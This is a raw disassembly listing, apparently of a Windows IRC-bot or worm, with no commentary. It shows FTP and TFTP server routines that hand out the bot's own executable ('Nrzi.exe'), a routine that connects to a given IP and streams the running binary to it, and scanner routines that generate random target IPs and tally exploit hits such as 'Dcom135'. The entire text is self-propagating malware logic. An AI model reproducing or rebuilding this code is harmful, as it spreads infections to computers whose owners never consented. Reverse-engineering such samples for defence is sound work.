; CODE XREF: sub_403C1E:loc_40442Dj jmp short loc_404472 ; --------------------------------------------------------------------------- loc_404446: ; CODE XREF: sub_403C1E+770j push offset aQuit ; "QUIT" lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx pop ecx test eax, eax jnz short loc_404472 push 0 ; flags push 1Bh ; len push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" push [ebp+fd] ; s call ds:send ; send loc_404472: ; CODE XREF: sub_403C1E+44Aj ; sub_403C1E+47Bj ... push 64h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch loc_404485: ; CODE XREF: sub_403C1E+238j ; sub_403C1E:loc_403F4Ej ... jmp loc_403DFD ; --------------------------------------------------------------------------- loc_40448A: ; CODE XREF: sub_403C1E+1F8j jmp loc_403DB0 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_403C1E+197j push 1 pop eax loc_404492: ; CODE XREF: sub_403C1E+F9j ; sub_403C1E+1D1j pop edi pop esi leave retn 4 sub_403C1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_404498(char *cp, u_short hostshort) sub_404498 proc near ; CODE XREF: sub_403C1E+798p WSAData = WSAData ptr -1A0h name = sockaddr ptr -10h cp = dword ptr 8 hostshort = word ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+WSAData] push eax ; lpWSAData push 101h ; wVersionRequested call ds:WSAStartup ; WSAStartup push 0 ; protocol push 1 ; type push 2 ; af call ds:socket ; socket mov s, eax mov [ebp+name.sa_family], 2 push [ebp+cp] ; cp call ds:inet_addr ; inet_addr mov dword ptr [ebp+name.sa_data+2], eax push dword ptr [ebp+hostshort] ; hostshort call ds:htons ; htons mov word ptr [ebp+name.sa_data], ax push 10h ; namelen lea eax, [ebp+name] push eax ; name push s ; s call ds:connect ; connect cmp eax, 0FFFFFFFFh jnz short loc_404510 push s ; s call ds:closesocket ; closesocket call ds:WSACleanup ; WSACleanup xor eax, eax jmp short locret_404513 ; --------------------------------------------------------------------------- loc_404510: ; CODE XREF: sub_404498+60j push 1 pop eax locret_404513: ; CODE XREF: sub_404498+76j leave retn sub_404498 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404515 proc near ; CODE XREF: sub_403C1E+7A4p var_1118 = dword ptr -1118h var_1114 = dword ptr -1114h var_1110 = dword ptr -1110h File = dword ptr -110Ch Filename = byte ptr -1108h len = dword ptr -1004h Dst = byte ptr -1000h push ebp mov ebp, esp mov eax, 1118h call __alloca_probe and [ebp+File], 0 mov [ebp+len], 1000h push 104h ; nSize lea eax, [ebp+Filename] push eax ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA push offset Mode ; "rb" lea eax, [ebp+Filename] push eax ; Filename call _fopen pop ecx pop ecx mov [ebp+File], eax cmp [ebp+File], 0 jz loc_404669 push 2 ; Origin push 0 ; Offset push [ebp+File] ; File call _fseek add esp, 0Ch push [ebp+File] ; File call _ftell pop ecx mov [ebp+var_1114], eax push 0 ; Origin push 0 ; Offset push [ebp+File] ; File call _fseek add esp, 0Ch and [ebp+var_1110], 0 loc_4045AA: ; CODE XREF: sub_404515:loc_404664j mov eax, [ebp+File] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz loc_404669 and [ebp+var_1110], 0 push 1000h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push [ebp+File] ; File push 800h ; Count push 1 ; ElementSize lea eax, [ebp+Dst] push eax ; DstBuf call _fread add esp, 10h mov [ebp+len], eax mov eax, [ebp+File] mov eax, [eax+0Ch] and eax, 20h test eax, eax jz short loc_40460F jmp short loc_404669 ; --------------------------------------------------------------------------- loc_40460F: ; CODE XREF: sub_404515+F6j ; sub_404515+14Dj mov eax, [ebp+var_1110] cmp eax, [ebp+len] jge short loc_404664 push 0 ; flags push [ebp+len] ; len lea eax, [ebp+Dst] push eax ; buf push s ; s call ds:send ; send mov [ebp+var_1118], eax or [ebp+var_1118], 0FFFFFFFFh cmp [ebp+var_1118], 0 jz short loc_404650 jmp short loc_404664 ; --------------------------------------------------------------------------- loc_404650: ; CODE XREF: sub_404515+137j mov eax, [ebp+var_1110] add eax, [ebp+var_1118] mov [ebp+var_1110], eax jmp short loc_40460F ; --------------------------------------------------------------------------- loc_404664: ; CODE XREF: sub_404515+106j ; sub_404515+139j jmp loc_4045AA ; --------------------------------------------------------------------------- loc_404669: ; CODE XREF: sub_404515+52j ; sub_404515+A3j ... push [ebp+File] ; File call _fclose pop ecx push s ; s call ds:closesocket ; closesocket call ds:WSACleanup ; WSACleanup push 1 pop eax leave retn sub_404515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall StartAddress(LPVOID) StartAddress proc near ; CODE XREF: StartAddress+15Fp ; StartAddress+700p ; DATA XREF: ... var_89C = byte ptr -89Ch var_898 = dword ptr -898h var_894 = byte ptr -894h var_890 = dword ptr -890h Str2 = dword ptr -88Ch var_888 = dword ptr -888h var_884 = byte ptr -884h var_880 = dword ptr -880h var_874 = byte ptr -874h var_873 = byte ptr -873h var_872 = byte ptr -872h var_871 = byte ptr -871h DstBuf = byte ptr -870h var_670 = dword ptr -670h var_66C = dword ptr -66Ch var_668 = dword ptr -668h var_664 = dword ptr -664h var_660 = dword ptr -660h File = dword ptr -560h Dst = word ptr -55Ch var_55A = word ptr -55Ah var_558 = dword ptr -558h Dest = byte ptr -54Ch var_34C = byte ptr -34Ch var_34B = byte ptr -34Bh var_34A = byte ptr -34Ah var_349 = byte ptr -349h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_2B0 = dword ptr -2B0h Filename = byte ptr -2ACh Str1 = byte ptr -1A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9A = byte ptr -9Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 89Ch push esi push edi mov esi, offset aOctet ; "octet" lea edi, [ebp+var_C] movsd movsw mov [ebp+var_4], 1 mov esi, [ebp+arg_0] mov ecx, 0A9h lea edi, [ebp+var_2B0] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_2CC], eax mov eax, [ebp+var_2CC] mov dword ptr [eax+2A0h], 1 mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax push 0 push 2 push 2 call dword_4264A0 ; socket mov [ebp+var_2C8], eax cmp [ebp+var_2C8], 0FFFFFFFFh jnz short loc_404768 push 190h ; dwMilliseconds call ds:Sleep ; Sleep call dword_4263C8 ; WSAGetLastError push eax push offset aTftpdErrorSock ; "-TFTPD- Error: socket() failed, returne"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_404747 push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_9A] push eax push [ebp+var_2B0] call sub_40A08D add esp, 14h loc_404747: ; CODE XREF: StartAddress+98j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_A4] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_404768: ; CODE XREF: StartAddress+6Cj mov eax, [ebp+var_A4] imul eax, 234h mov ecx, [ebp+var_2C8] mov dword_42B54C[eax], ecx push 10h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push dword ptr [ebp-9Ch] call dword_426424 ; ntohs mov [ebp+var_55A], ax and [ebp+var_558], 0 push 10h lea eax, [ebp+Dst] push eax push [ebp+var_2C8] call dword_426450 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4047F5 push 1388h ; dwMilliseconds call ds:Sleep ; Sleep mov eax, [ebp+var_A0] dec eax mov [ebp+var_A0], eax push [ebp+arg_0] ; LPVOID call StartAddress jmp loc_404D91 ; --------------------------------------------------------------------------- loc_4047F5: ; CODE XREF: StartAddress+142j push offset aRb_0 ; "rb" lea eax, [ebp+Filename] push eax ; Filename call _fopen pop ecx pop ecx mov [ebp+File], eax cmp [ebp+File], 0 jnz short loc_40487F push 190h ; dwMilliseconds call ds:Sleep ; Sleep lea eax, [ebp+Filename] push eax push offset aTftpdFailedToO ; "-TFTPD- Failed to open file: %s." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_9A] push eax push [ebp+var_2B0] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx push [ebp+var_A4] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_40487F: ; CODE XREF: StartAddress+189j ; StartAddress:loc_404D2Cj ... cmp [ebp+var_4], 0 jle loc_404D36 mov eax, [ebp+var_2CC] cmp dword ptr [eax+2A0h], 0 jz loc_404D36 cmp [ebp+File], 0 jz loc_404D36 mov [ebp+var_66C], 5 mov [ebp+var_668], 1388h and [ebp+var_664], 0 loc_4048C4: ; CODE XREF: StartAddress+2B0j and [ebp+var_670], 0 jmp short loc_4048DA ; --------------------------------------------------------------------------- loc_4048CD: ; CODE XREF: StartAddress:loc_4048FFj mov eax, [ebp+var_670] inc eax mov [ebp+var_670], eax loc_4048DA: ; CODE XREF: StartAddress+23Fj mov eax, [ebp+var_670] cmp eax, [ebp+var_664] jnb short loc_404901 mov eax, [ebp+var_670] mov eax, [ebp+eax*4+var_660] cmp eax, [ebp+var_2C8] jnz short loc_4048FF jmp short loc_404901 ; --------------------------------------------------------------------------- loc_4048FF: ; CODE XREF: StartAddress+26Fj jmp short loc_4048CD ; --------------------------------------------------------------------------- loc_404901: ; CODE XREF: StartAddress+25Aj ; StartAddress+271j mov eax, [ebp+var_670] cmp eax, [ebp+var_664] jnz short loc_404938 cmp [ebp+var_664], 40h jnb short loc_404938 mov eax, [ebp+var_670] mov ecx, [ebp+var_2C8] mov [ebp+eax*4+var_660], ecx mov eax, [ebp+var_664] inc eax mov [ebp+var_664], eax loc_404938: ; CODE XREF: StartAddress+281j ; StartAddress+28Aj xor eax, eax test eax, eax jnz short loc_4048C4 push 80h ; Size push 0 ; Val lea eax, [ebp+var_34C] push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_66C] push eax push 0 push 0 lea eax, [ebp+var_664] push eax push 0 call dword_426410 ; select test eax, eax jle loc_404D2C mov [ebp+var_888], 10h mov al, byte_4249F8 mov [ebp+var_874], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_873] rep stosd stosw stosb lea eax, [ebp+var_888] push eax lea eax, [ebp+var_884] push eax push 0 push 80h lea eax, [ebp+var_34C] push eax push [ebp+var_2C8] call dword_426400 ; recvfrom mov [ebp+var_4], eax push [ebp+var_880] call dword_4264AC ; inet_ntoa push eax ; Format lea eax, [ebp+var_2C4] push eax ; Dest call _sprintf pop ecx pop ecx movsx eax, [ebp+var_34C] test eax, eax jnz loc_404B92 movsx eax, [ebp+var_34B] cmp eax, 1 jnz loc_404B92 lea eax, [ebp+var_34C] mov [ebp+Str2], eax lea eax, [ebp+var_34C] mov [ebp+var_890], eax mov eax, [ebp+Str2] inc eax inc eax mov [ebp+Str2], eax lea eax, [ebp+Str1] push eax ; Str call _strlen pop ecx mov ecx, [ebp+var_890] lea eax, [ecx+eax+3] mov [ebp+var_890], eax lea eax, [ebp+Str1] push eax ; Str call _strlen pop ecx push eax ; MaxCount push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strncmp add esp, 0Ch test eax, eax jnz short loc_404A8D lea eax, [ebp+var_C] push eax ; Str call _strlen pop ecx push eax ; MaxCount push [ebp+var_890] ; Str2 lea eax, [ebp+var_C] push eax ; Str1 call _strncmp add esp, 0Ch test eax, eax jz short loc_404AE3 loc_404A8D: ; CODE XREF: StartAddress+3DEj push [ebp+var_888] lea eax, [ebp+var_884] push eax push 0 push 13h push offset dword_41ED08 push [ebp+var_2C8] call dword_426484 ; sendto lea eax, [ebp+Str1] push eax lea eax, [ebp+var_2C4] push eax push offset aTftpdFileNotFo ; "-TFTPD- File not found: %s (%s)." lea eax, [ebp+var_34C] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_34C] push eax call sub_40913D pop ecx jmp loc_404B8D ; --------------------------------------------------------------------------- loc_404AE3: ; CODE XREF: StartAddress+3FFj push 0 ; Origin push 0 ; Offset push [ebp+File] ; File call _fseek add esp, 0Ch and [ebp+var_874], 0 mov [ebp+var_873], 3 and [ebp+var_872], 0 mov [ebp+var_871], 1 push [ebp+File] ; File push 200h ; Count push 1 ; ElementSize lea eax, [ebp+DstBuf] push eax ; DstBuf call _fread add esp, 10h mov [ebp+var_4], eax push [ebp+var_888] lea eax, [ebp+var_884] push eax push 0 mov eax, [ebp+var_4] add eax, 4 push eax lea eax, [ebp+var_874] push eax push [ebp+var_2C8] call dword_426484 ; sendto cmp [ebp+var_14], 0 jnz short loc_404B80 push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_9A] push eax push [ebp+var_2B0] call sub_40A08D add esp, 14h loc_404B80: ; CODE XREF: StartAddress+4D1j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx loc_404B8D: ; CODE XREF: StartAddress+452j jmp loc_404D2A ; --------------------------------------------------------------------------- loc_404B92: ; CODE XREF: StartAddress+360j ; StartAddress+370j movsx eax, [ebp+var_34C] test eax, eax jnz loc_404D08 movsx eax, [ebp+var_34B] cmp eax, 4 jnz loc_404D08 mov al, [ebp+var_34A] mov [ebp+var_89C], al mov al, [ebp+var_349] mov [ebp+var_894], al and [ebp+var_874], 0 mov [ebp+var_873], 3 movzx eax, [ebp+var_894] cmp eax, 0FFh jnz short loc_404C14 mov al, [ebp+var_89C] add al, 1 mov [ebp+var_89C], al mov al, [ebp+var_89C] mov [ebp+var_872], al and [ebp+var_894], 0 mov al, [ebp+var_894] mov [ebp+var_871], al jmp short loc_404C3A ; --------------------------------------------------------------------------- loc_404C14: ; CODE XREF: StartAddress+557j mov al, [ebp+var_89C] mov [ebp+var_872], al mov al, [ebp+var_894] add al, 1 mov [ebp+var_894], al mov al, [ebp+var_894] mov [ebp+var_871], al loc_404C3A: ; CODE XREF: StartAddress+586j movzx eax, [ebp+var_89C] shl eax, 8 movzx ecx, [ebp+var_894] lea eax, [eax+ecx-1] mov [ebp+var_898], eax push 0 ; Origin mov eax, [ebp+var_898] shl eax, 9 push eax ; Offset push [ebp+File] ; File call _fseek add esp, 0Ch push [ebp+File] ; File push 200h ; Count push 1 ; ElementSize lea eax, [ebp+DstBuf] push eax ; DstBuf call _fread add esp, 10h mov [ebp+var_4], eax push [ebp+var_888] lea eax, [ebp+var_884] push eax push 0 mov eax, [ebp+var_4] add eax, 4 push eax lea eax, [ebp+var_874] push eax push [ebp+var_2C8] call dword_426484 ; sendto cmp [ebp+var_4], 0 jnz short loc_404D06 lea eax, [ebp+var_2C4] push eax push offset aTftpFileTransf ; "TFTP File transfer complete: %s" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch push 0 push [ebp+var_18] lea eax, [ebp+Dest] push eax lea eax, [ebp+var_9A] push eax push [ebp+var_2B0] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx loc_404D06: ; CODE XREF: StartAddress+62Fj jmp short loc_404D2A ; --------------------------------------------------------------------------- loc_404D08: ; CODE XREF: StartAddress+50Fj ; StartAddress+51Fj push [ebp+var_888] lea eax, [ebp+var_884] push eax push 0 push 9 push offset dword_41ED60 push [ebp+var_2C8] call dword_426484 ; sendto loc_404D2A: ; CODE XREF: StartAddress:loc_404B8Dj ; StartAddress:loc_404D06j jmp short loc_404D31 ; --------------------------------------------------------------------------- loc_404D2C: ; CODE XREF: StartAddress+2E4j jmp loc_40487F ; --------------------------------------------------------------------------- loc_404D31: ; CODE XREF: StartAddress:loc_404D2Aj jmp loc_40487F ; --------------------------------------------------------------------------- loc_404D36: ; CODE XREF: StartAddress+1F7j ; StartAddress+20Aj ... push [ebp+var_2C8] call dword_4264B8 ; closesocket push [ebp+File] ; File call _fclose pop ecx mov eax, [ebp+var_A0] dec eax mov [ebp+var_A0], eax mov eax, [ebp+var_2CC] cmp dword ptr [eax+2A0h], 0 jnz short loc_404D7E push [ebp+var_A4] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread ; --------------------------------------------------------------------------- loc_404D7E: ; CODE XREF: StartAddress+6DCj push 3E8h ; dwMilliseconds call ds:Sleep ; Sleep push [ebp+arg_0] ; LPVOID call StartAddress loc_404D91: ; CODE XREF: StartAddress+164j pop edi pop esi leave retn 4 StartAddress endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D97 proc near ; CODE XREF: sub_40ABFE+1A55p var_408 = dword ptr -408h Dest = byte ptr -404h var_204 = dword ptr -204h Source = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 408h and [ebp+var_408], 0 push offset aScanExploitSta ; "[SCAN]: Exploit Statistics:" lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_404DD0 ; --------------------------------------------------------------------------- loc_404DC3: ; CODE XREF: sub_404D97+B3j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_404DD0: ; CODE XREF: sub_404D97+2Aj mov eax, [ebp+var_204] imul eax, 3Ch cmp dword_41ED98[eax], 0 jz short loc_404E4F mov eax, [ebp+var_204] imul eax, 3Ch mov ecx, [ebp+var_408] add ecx, dword_41EDA0[eax] mov [ebp+var_408], ecx mov eax, [ebp+var_204] imul eax, 3Ch push dword_41EDA0[eax] mov eax, [ebp+var_204] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset aSD ; " %s: %d," lea eax, [ebp+Source] push eax ; Dest call _sprintf add esp, 10h push 200h ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 0Ch jmp loc_404DC3 ; --------------------------------------------------------------------------- loc_404E4F: ; CODE XREF: sub_404D97+49j push [ebp+var_408] push offset aTotalD ; " Total: %d" lea eax, [ebp+Source] push eax ; Dest call _sprintf add esp, 0Ch push 200h ; Count lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 0Ch push 0 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx leave retn sub_404D97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404EAD proc near ; CODE XREF: sub_40ABFE+2873p var_204 = dword ptr -204h Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 204h push 8 call sub_4105E0 pop ecx test eax, eax jle short loc_404EF5 mov eax, [ebp+arg_C] mov eax, dword_424A00[eax*8] mov [ebp+var_204], eax push [ebp+var_204] call dword_4264AC ; inet_ntoa push eax push offset aScanCurrentIpS ; "[SCAN]: Current IP: %s." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_404F08 ; --------------------------------------------------------------------------- loc_404EF5: ; CODE XREF: sub_404EAD+13j push offset aScanScanNotAct ; "[SCAN]: Scan not active." lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_404F08: ; CODE XREF: sub_404EAD+46j push 0 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h lea eax, [ebp+Dest] push eax call sub_40913D pop ecx leave retn sub_404EAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_404F31(int, int, int, int, char Source, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, char, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int) sub_404F31 proc near ; CODE XREF: sub_405A2E+56p ThreadId = dword ptr -204h Dest = byte ptr -200h Source = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h push ebp mov ebp, esp sub esp, 204h cmp [ebp+arg_130], 0FFFFFFFFh jz locret_405252 mov eax, [ebp+arg_130] imul eax, 3Ch cmp dword_41EDA4[eax], 0 jz loc_4050D1 push 4 call sub_4105E0 pop ecx test eax, eax jnz loc_4050D1 mov ax, word_421C38 mov word_425E74, ax and dword_425E70, 0 push 104h ; nSize push offset Filename ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA push 103h ; Count push offset String2 ; "Nrzi.exe" push offset byte_425D68 ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+arg_110] mov dword_425C60, eax mov eax, [ebp+arg_138] mov dword_425EF8, eax movsx eax, [ebp+arg_90] test eax, eax jnz short loc_404FE9 push 7Fh ; Count lea eax, [ebp+Source] push eax ; Source push offset byte_425E76 ; Dest call _strncpy add esp, 0Ch mov dword_425EFC, 1 jmp short loc_405006 ; --------------------------------------------------------------------------- loc_404FE9: ; CODE XREF: sub_404F31+97j push 7Fh ; Count lea eax, [ebp+arg_90] push eax ; Source push offset byte_425E76 ; Dest call _strncpy add esp, 0Ch and dword_425EFC, 0 loc_405006: ; CODE XREF: sub_404F31+B6j push offset byte_425D68 push offset Filename movzx eax, word_425E74 push eax push dword_425C60 call sub_40892F pop ecx push eax push offset aTftpdServerSta ; "[TFTPD]: Server started on IP: %s:%d, F"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h push 0 ; int push 4 ; int lea eax, [ebp+Dest] push eax ; Source call sub_410231 add esp, 0Ch mov dword_425E6C, eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push offset dword_425C60 ; lpParameter push offset StartAddress ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, dword_425E6C imul ecx, 234h mov dword_42B554[ecx], eax mov eax, dword_425E6C imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_4050A9 loc_405094: ; CODE XREF: sub_404F31+174j cmp dword_425F00, 0 jnz short loc_4050A7 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_405094 ; --------------------------------------------------------------------------- loc_4050A7: ; CODE XREF: sub_404F31+16Aj jmp short loc_4050C4 ; --------------------------------------------------------------------------- loc_4050A9: ; CODE XREF: sub_404F31+161j call ds:GetLastError push eax push offset aTftpdFailedToS ; "[TFTPD]: Failed to start server, error:"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch loc_4050C4: ; CODE XREF: sub_404F31:loc_4050A7j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx loc_4050D1: ; CODE XREF: sub_404F31+26j ; sub_404F31+36j push 5 call sub_4105E0 pop ecx test eax, eax jnz locret_405252 push 0 ; Time call _time pop ecx push eax call sub_412333 pop ecx call _rand cdq mov ecx, 0FC17h idiv ecx add edx, 3E8h mov dword_425BCC, edx and dword_425BC8, 0 push 104h ; nSize push offset byte_4259BC ; lpFilename push 0 ; hModule call ds:GetModuleFileNameA ; GetModuleFileNameA push 103h ; Count push offset String2 ; "Nrzi.exe" push offset byte_425AC0 ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+arg_110] mov dword_4259B8, eax mov eax, [ebp+arg_138] mov dword_425C50, eax movsx eax, [ebp+arg_90] test eax, eax jnz short loc_405179 push 7Fh ; Count lea eax, [ebp+Source] push eax ; Source push offset byte_425BD0 ; Dest call _strncpy add esp, 0Ch mov dword_425C54, 1 jmp short loc_405196 ; --------------------------------------------------------------------------- loc_405179: ; CODE XREF: sub_404F31+227j push 7Fh ; Count lea eax, [ebp+arg_90] push eax ; Source push offset byte_425BD0 ; Dest call _strncpy add esp, 0Ch and dword_425C54, 0 loc_405196: ; CODE XREF: sub_404F31+246j push offset byte_425AC0 push offset byte_4259BC push dword_425BCC push offset aFtpServerStart ; "[FTP]: Server started on Port: %d, File"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 14h push 0 ; int push 5 ; int lea eax, [ebp+Dest] push eax ; Source call sub_410231 add esp, 0Ch mov dword_425BC4, eax lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push offset dword_4259B8 ; lpParameter push offset sub_403C1E ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call ds:CreateThread ; CreateThread mov ecx, dword_425BC4 imul ecx, 234h mov dword_42B554[ecx], eax mov eax, dword_425BC4 imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_40522A loc_405215: ; CODE XREF: sub_404F31+2F5j cmp dword_425C58, 0 jnz short loc_405228 push 32h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_405215 ; --------------------------------------------------------------------------- loc_405228: ; CODE XREF: sub_404F31+2EBj jmp short loc_405245 ; --------------------------------------------------------------------------- loc_40522A: ; CODE XREF: sub_404F31+2E2j call ds:GetLastError push eax push offset aFtpFailedToSta ; "[FTP]: Failed to start server, error: <"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch loc_405245: ; CODE XREF: sub_404F31:loc_405228j lea eax, [ebp+Dest] push eax call sub_40913D pop ecx locret_405252: ; CODE XREF: sub_404F31+10j ; sub_404F31+1AAj leave retn sub_404F31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405254 proc near ; CODE XREF: sub_405759+ABp Dst = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 4 ; Size mov eax, [ebp+arg_0] lea eax, ds:424A00h[eax*8] push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_42637C ; ntohl mov [ebp+Dst], eax mov eax, [ebp+Dst] inc eax mov [ebp+Dst], eax push [ebp+Dst] call dword_426420 ; ntohl mov [ebp+Dst], eax push 4 ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+arg_0] lea eax, ds:424A00h[eax*8] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+arg_0] mov eax, dword_424A00[eax*8] leave retn sub_405254 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4052B5(char *Src, int) sub_4052B5 proc near ; CODE XREF: sub_405759+8Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h or [ebp+var_4], 0FFFFFFFFh or [ebp+var_8], 0FFFFFFFFh or [ebp+var_C], 0FFFFFFFFh or [ebp+var_10], 0FFFFFFFFh push [ebp+Src] ; Str call _strlen pop ecx cmp eax, 0Fh jbe short loc_4052E0 xor eax, eax jmp locret_405367 ; --------------------------------------------------------------------------- loc_4052E0: ; CODE XREF: sub_4052B5+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+Src] ; Src call _sscanf add esp, 18h cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40530E call _rand mov [ebp+var_4], eax loc_40530E: ; CODE XREF: sub_4052B5+4Fj cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_40531C call _rand mov [ebp+var_8], eax loc_40531C: ; CODE XREF: sub_4052B5+5Dj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40532A call _rand mov [ebp+var_C], eax loc_40532A: ; CODE XREF: sub_4052B5+6Bj cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_405338 call _rand mov [ebp+var_10], eax loc_405338: ; CODE XREF: sub_4052B5+79j mov eax, [ebp+var_8] shl eax, 8 mov ecx, [ebp+var_4] add ecx, eax mov eax, [ebp+var_C] shl eax, 10h add ecx, eax mov eax, [ebp+var_10] shl eax, 18h add ecx, eax mov eax, [ebp+arg_4] mov dword_424A00[eax*8], ecx mov eax, [ebp+arg_4] mov eax, dword_424A00[eax*8] locret_405367: ; CODE XREF: sub_4052B5+26j leave retn sub_4052B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405369 proc near ; CODE XREF: sub_405759+12Bp ; sub_409D82+29Bp var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 12Ch mov [ebp+var_124], 1 push 0 push 1 push 2 call dword_4264A0 ; socket mov [ebp+var_128], eax cmp [ebp+var_128], 0FFFFFFFFh jnz short loc_40539E xor eax, eax jmp locret_4054BA ; --------------------------------------------------------------------------- loc_40539E: ; CODE XREF: sub_405369+2Cj mov [ebp+var_114], 2 mov eax, [ebp+arg_0] 